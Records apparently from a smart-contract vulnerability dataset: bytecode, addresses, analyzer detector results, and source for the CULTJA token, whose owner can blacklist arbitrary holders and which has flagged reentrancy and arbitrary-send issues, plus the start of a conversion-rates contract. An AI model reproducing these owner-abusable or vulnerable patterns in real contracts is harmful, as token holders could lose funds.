ffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea2646970667358221220ae23f8548f2e763bda149768ca7fd973320114fba76d3976dca930ff3158479764736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,122
0x5dbb20cde6a343e1716590676876845382e15d9d
/** *Submitted for verification at Etherscan.io on 2022-04-17 */ // CULTJA // Invest like a ninja with precision, not a dumb. // The CULTJA are stealthy attackers of the ninja ranks. They were capable of gaining alternative or inside ground when their enemy least expected it. They are famous in conducting assassination with precision. // CULTJA is a professional ninja that can not only assassinate but also invest with precision.CULTJA aims to offer an easy and simple way to invest in potential projects. With the support of our CULTJA Fund, we believe it can enable users to filter out projects with no prospect and invest in promising projects. // CULTJA Fund // Every transaction will result in a 13% tax being placed into the CULTJA. The Fund will be used to fund other projects that CULTJA finds auspicious. CULTJA has been actively engaged with various projects in which CULTJA would propose to invest and closely assess their token and staking models against sustainability risks and opportunities, with a focus on enhancing and improving their operating strength through the adoption of sustainability best practices. // Every smart contract combination will be examined by our professional team to ensure its safety. The fund's profits will be utilized to purchase back tokens. // Tokenomics: // 👉 Total of 13% tax // 👉 2 % Dev/Team Tax // 👉 3 % Burn // 👉 3% Marketing // 👉 5 % CULTJA Fund // ✅ Total supply: 100,000,000,000 // ✅ Max Buy at launch : 2% // ⚡️ No Dev Tokens/Wallets // ⚡️ Community and Owner Driven project. // https://t.me/cultja // https://cultja.ninja // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract CULTJA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "CULTJA"; string private constant _symbol = "CULTJA"; uint private constant _decimals = 9; uint256 private _teamFee = 13; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.mul(3).div(13); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (2 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 13); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103be578063cf0848f7146103d3578063cf9d4afa146103f3578063dd62ed3e14610413578063e6ec64ec14610459578063f2fde38b1461047957600080fd5b8063715018a6146103215780638da5cb5b1461033657806390d49b9d1461035e57806395d89b4114610172578063a9059cbb1461037e578063b515566a1461039e57600080fd5b806331c2d8471161010857806331c2d8471461023a5780633bbac5791461025a578063437823ec14610293578063476343ee146102b35780635342acb4146102c857806370a082311461030157600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b057806318160ddd146101e057806323b872dd14610206578063313ce5671461022657600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50610170610499565b005b34801561017e57600080fd5b50604080518082018252600681526543554c544a4160d01b602082015290516101a791906118db565b60405180910390f35b3480156101bc57600080fd5b506101d06101cb366004611955565b6104e5565b60405190151581526020016101a7565b3480156101ec57600080fd5b5068056bc75e2d631000005b6040519081526020016101a7565b34801561021257600080fd5b506101d0610221366004611981565b6104fc565b34801561023257600080fd5b5060096101f8565b34801561024657600080fd5b506101706102553660046119d8565b610565565b34801561026657600080fd5b506101d0610275366004611a9d565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561029f57600080fd5b506101706102ae366004611a9d565b6105fb565b3480156102bf57600080fd5b50610170610649565b3480156102d457600080fd5b506101d06102e3366004611a9d565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030d57600080fd5b506101f861031c366004611a9d565b610683565b34801561032d57600080fd5b506101706106a5565b34801561034257600080fd5b506000546040516001600160a01b0390911681526020016101a7565b34801561036a57600080fd5b50610170610379366004611a9d565b6106db565b34801561038a57600080fd5b506101d0610399366004611955565b610755565b3480156103aa57600080fd5b506101706103b93660046119d8565b610762565b3480156103ca57600080fd5b5061017061087b565b3480156103df57600080fd5b506101706103ee366004611a9d565b610932565b3480156103ff57600080fd5b5061017061040e366004611a9d565b61097d565b34801561041f57600080fd5b506101f861042e366004611aba565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046557600080fd5b50610170610474366004611af3565b610bd8565b34801561048557600080fd5b50610170610494366004611a9d565b610c15565b6000546001600160a01b031633146104cc5760405162461bcd60e51b81526004016104c390611b0c565b60405180910390fd5b60006104d730610683565b90506104e281610cad565b50565b60006104f2338484610e27565b5060015b92915050565b6000610509848484610f4b565b61055b843361055685604051806060016040528060288152602001611c87602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611392565b610e27565b5060019392505050565b6000546001600160a01b0316331461058f5760405162461bcd60e51b81526004016104c390611b0c565b60005b81518110156105f7576000600560008484815181106105b3576105b3611b41565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ef81611b6d565b915050610592565b5050565b6000546001600160a01b031633146106255760405162461bcd60e51b81526004016104c390611b0c565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f7573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f6906113cc565b6000546001600160a01b031633146106cf5760405162461bcd60e51b81526004016104c390611b0c565b6106d96000611450565b565b6000546001600160a01b031633146107055760405162461bcd60e51b81526004016104c390611b0c565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f2338484610f4b565b6000546001600160a01b0316331461078c5760405162461bcd60e51b81526004016104c390611b0c565b60005b81518110156105f757600c5482516001600160a01b03909116908390839081106107bb576107bb611b41565b60200260200101516001600160a01b03161415801561080c5750600b5482516001600160a01b03909116908390839081106107f8576107f8611b41565b60200260200101516001600160a01b031614155b156108695760016005600084848151811061082957610829611b41565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087381611b6d565b91505061078f565b6000546001600160a01b031633146108a55760405162461bcd60e51b81526004016104c390611b0c565b600c54600160a01b900460ff166109095760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c3565b600c805460ff60b81b1916600160b81b17905542600d81905561092d906078611b88565b600e55565b6000546001600160a01b0316331461095c5760405162461bcd60e51b81526004016104c390611b0c565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a75760405162461bcd60e51b81526004016104c390611b0c565b600c54600160a01b900460ff1615610a0f5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c3565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8a9190611ba0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afb9190611ba0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6c9190611ba0565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c025760405162461bcd60e51b81526004016104c390611b0c565b600d811115610c1057600080fd5b600855565b6000546001600160a01b03163314610c3f5760405162461bcd60e51b81526004016104c390611b0c565b6001600160a01b038116610ca45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c3565b6104e281611450565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cf557610cf5611b41565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d729190611ba0565b81600181518110610d8557610d85611b41565b6001600160a01b039283166020918202929092010152600b54610dab9130911684610e27565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610de4908590600090869030904290600401611bbd565b600060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c3565b6001600160a01b038216610eea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610faf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c3565b6001600160a01b0382166110115760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c3565b600081116110735760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c3565b6001600160a01b03831660009081526005602052604090205460ff161561111b5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c3565b6001600160a01b03831660009081526004602052604081205460ff1615801561115d57506001600160a01b03831660009081526004602052604090205460ff16155b80156111735750600c54600160a81b900460ff16155b80156111a35750600c546001600160a01b03858116911614806111a35750600c546001600160a01b038481169116145b1561138057600c54600160b81b900460ff166112015760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c3565b50600c546001906001600160a01b0385811691161480156112305750600b546001600160a01b03848116911614155b801561123d575042600e54115b1561128557600061124d84610683565b905061126e606461126868056bc75e2d6310000060026114a0565b9061151f565b6112788483611561565b111561128357600080fd5b505b600d544214156112b3576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112be30610683565b600c54909150600160b01b900460ff161580156112e95750600c546001600160a01b03868116911614155b1561137e57801561137e57600c5461131d9060649061126890600f90611317906001600160a01b0316610683565b906114a0565b81111561134a57600c546113479060649061126890600f90611317906001600160a01b0316610683565b90505b600061135c600d6112688460036114a0565b90506113688183611c2e565b9150611373816115c0565b61137c82610cad565b505b505b61138c848484846115f0565b50505050565b600081848411156113b65760405162461bcd60e51b81526004016104c391906118db565b5060006113c38486611c2e565b95945050505050565b60006006548211156114335760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c3565b600061143d6116f3565b9050611449838261151f565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114af575060006104f6565b60006114bb8385611c45565b9050826114c88583611c64565b146114495760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c3565b600061144983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611716565b60008061156e8385611b88565b9050838110156114495760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c3565b600c805460ff60b01b1916600160b01b1790556115e03061dead83610f4b565b50600c805460ff60b01b19169055565b80806115fe576115fe611744565b60008060008061160d87611760565b6001600160a01b038d166000908152600160205260409020549397509195509350915061163a90856117a7565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116699084611561565b6001600160a01b03891660009081526001602052604090205561168b816117e9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116d091815260200190565b60405180910390a350505050806116ec576116ec600954600855565b5050505050565b6000806000611700611833565b909250905061170f828261151f565b9250505090565b600081836117375760405162461bcd60e51b81526004016104c391906118db565b5060006113c38486611c64565b60006008541161175357600080fd5b6008805460095560009055565b60008060008060008061177587600854611875565b9150915060006117836116f3565b90506000806117938a85856118a2565b909b909a5094985092965092945050505050565b600061144983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611392565b60006117f36116f3565b9050600061180183836114a0565b3060009081526001602052604090205490915061181e9082611561565b30600090815260016020526040902055505050565b600654600090819068056bc75e2d6310000061184f828261151f565b82101561186c5750506006549268056bc75e2d6310000092509050565b90939092509050565b60008080611888606461126887876114a0565b9050600061189686836117a7565b96919550909350505050565b600080806118b086856114a0565b905060006118be86866114a0565b905060006118cc83836117a7565b92989297509195505050505050565b600060208083528351808285015260005b81811015611908578581018301518582016040015282016118ec565b8181111561191a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e257600080fd5b803561195081611930565b919050565b6000806040838503121561196857600080fd5b823561197381611930565b946020939093013593505050565b60008060006060848603121561199657600080fd5b83356119a181611930565b925060208401356119b181611930565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119eb57600080fd5b823567ffffffffffffffff80821115611a0357600080fd5b818501915085601f830112611a1757600080fd5b813581811115611a2957611a296119c2565b8060051b604051601f19603f83011681018181108582111715611a4e57611a4e6119c2565b604052918252848201925083810185019188831115611a6c57600080fd5b938501935b82851015611a9157611a8285611945565b84529385019392850192611a71565b98975050505050505050565b600060208284031215611aaf57600080fd5b813561144981611930565b60008060408385031215611acd57600080fd5b8235611ad881611930565b91506020830135611ae881611930565b809150509250929050565b600060208284031215611b0557600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b8157611b81611b57565b5060010190565b60008219821115611b9b57611b9b611b57565b500190565b600060208284031215611bb257600080fd5b815161144981611930565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c0d5784516001600160a01b031683529383019391830191600101611be8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c4057611c40611b57565b500390565b6000816000190483118215151615611c5f57611c5f611b57565b500290565b600082611c8157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4154be26fde1961b15c27942b251d33819643cec43de946cd2afe2874f7202964736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,123
0x78990E0051BA806E5d46720D05fb58B06fB4768b
pragma solidity 0.4.18; // File: contracts/ERC20Interface.sol // https://github.com/ethereum/EIPs/issues/20 interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } // File: contracts/ConversionRatesInterface.sol interface ConversionRatesInterface { function recordImbalance( ERC20 token, int buyAmount, uint rateUpdateBlock, uint currentBlock ) public; function getRate(ERC20 token, uint currentBlockNumber, bool buy, uint qty) public view returns(uint); function setQtyStepFunction(ERC20 token, int[] xBuy, int[] yBuy, int[] xSell, int[] ySell) public; function setImbalanceStepFunction(ERC20 token, int[] xBuy, int[] yBuy, int[] xSell, int[] ySell) public; function claimAdmin() public; function addOperator(address newOperator) public; function transferAdmin(address newAdmin) public; function addToken(ERC20 token) public; function setTokenControlInfo( ERC20 token, uint minimalRecordResolution, uint maxPerBlockImbalance, uint maxTotalImbalance ) public; function enableTokenTrade(ERC20 token) public; function getTokenControlInfo(ERC20 token) public view returns(uint, uint, uint); } // File: contracts/PermissionGroups.sol contract PermissionGroups { address public admin; address public pendingAdmin; mapping(address=>bool) internal operators; mapping(address=>bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; uint constant internal MAX_GROUP_SIZE = 50; function PermissionGroups() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier onlyOperator() { require(operators[msg.sender]); _; } modifier onlyAlerter() { require(alerters[msg.sender]); _; } function getOperators () external view returns(address[]) { return operatorsGroup; } function getAlerters () external view returns(address[]) { return alertersGroup; } event TransferAdminPending(address pendingAdmin); /** * @dev Allows the current admin to set the pendingAdmin address. * @param newAdmin The address to transfer ownership to. */ function transferAdmin(address newAdmin) public onlyAdmin { 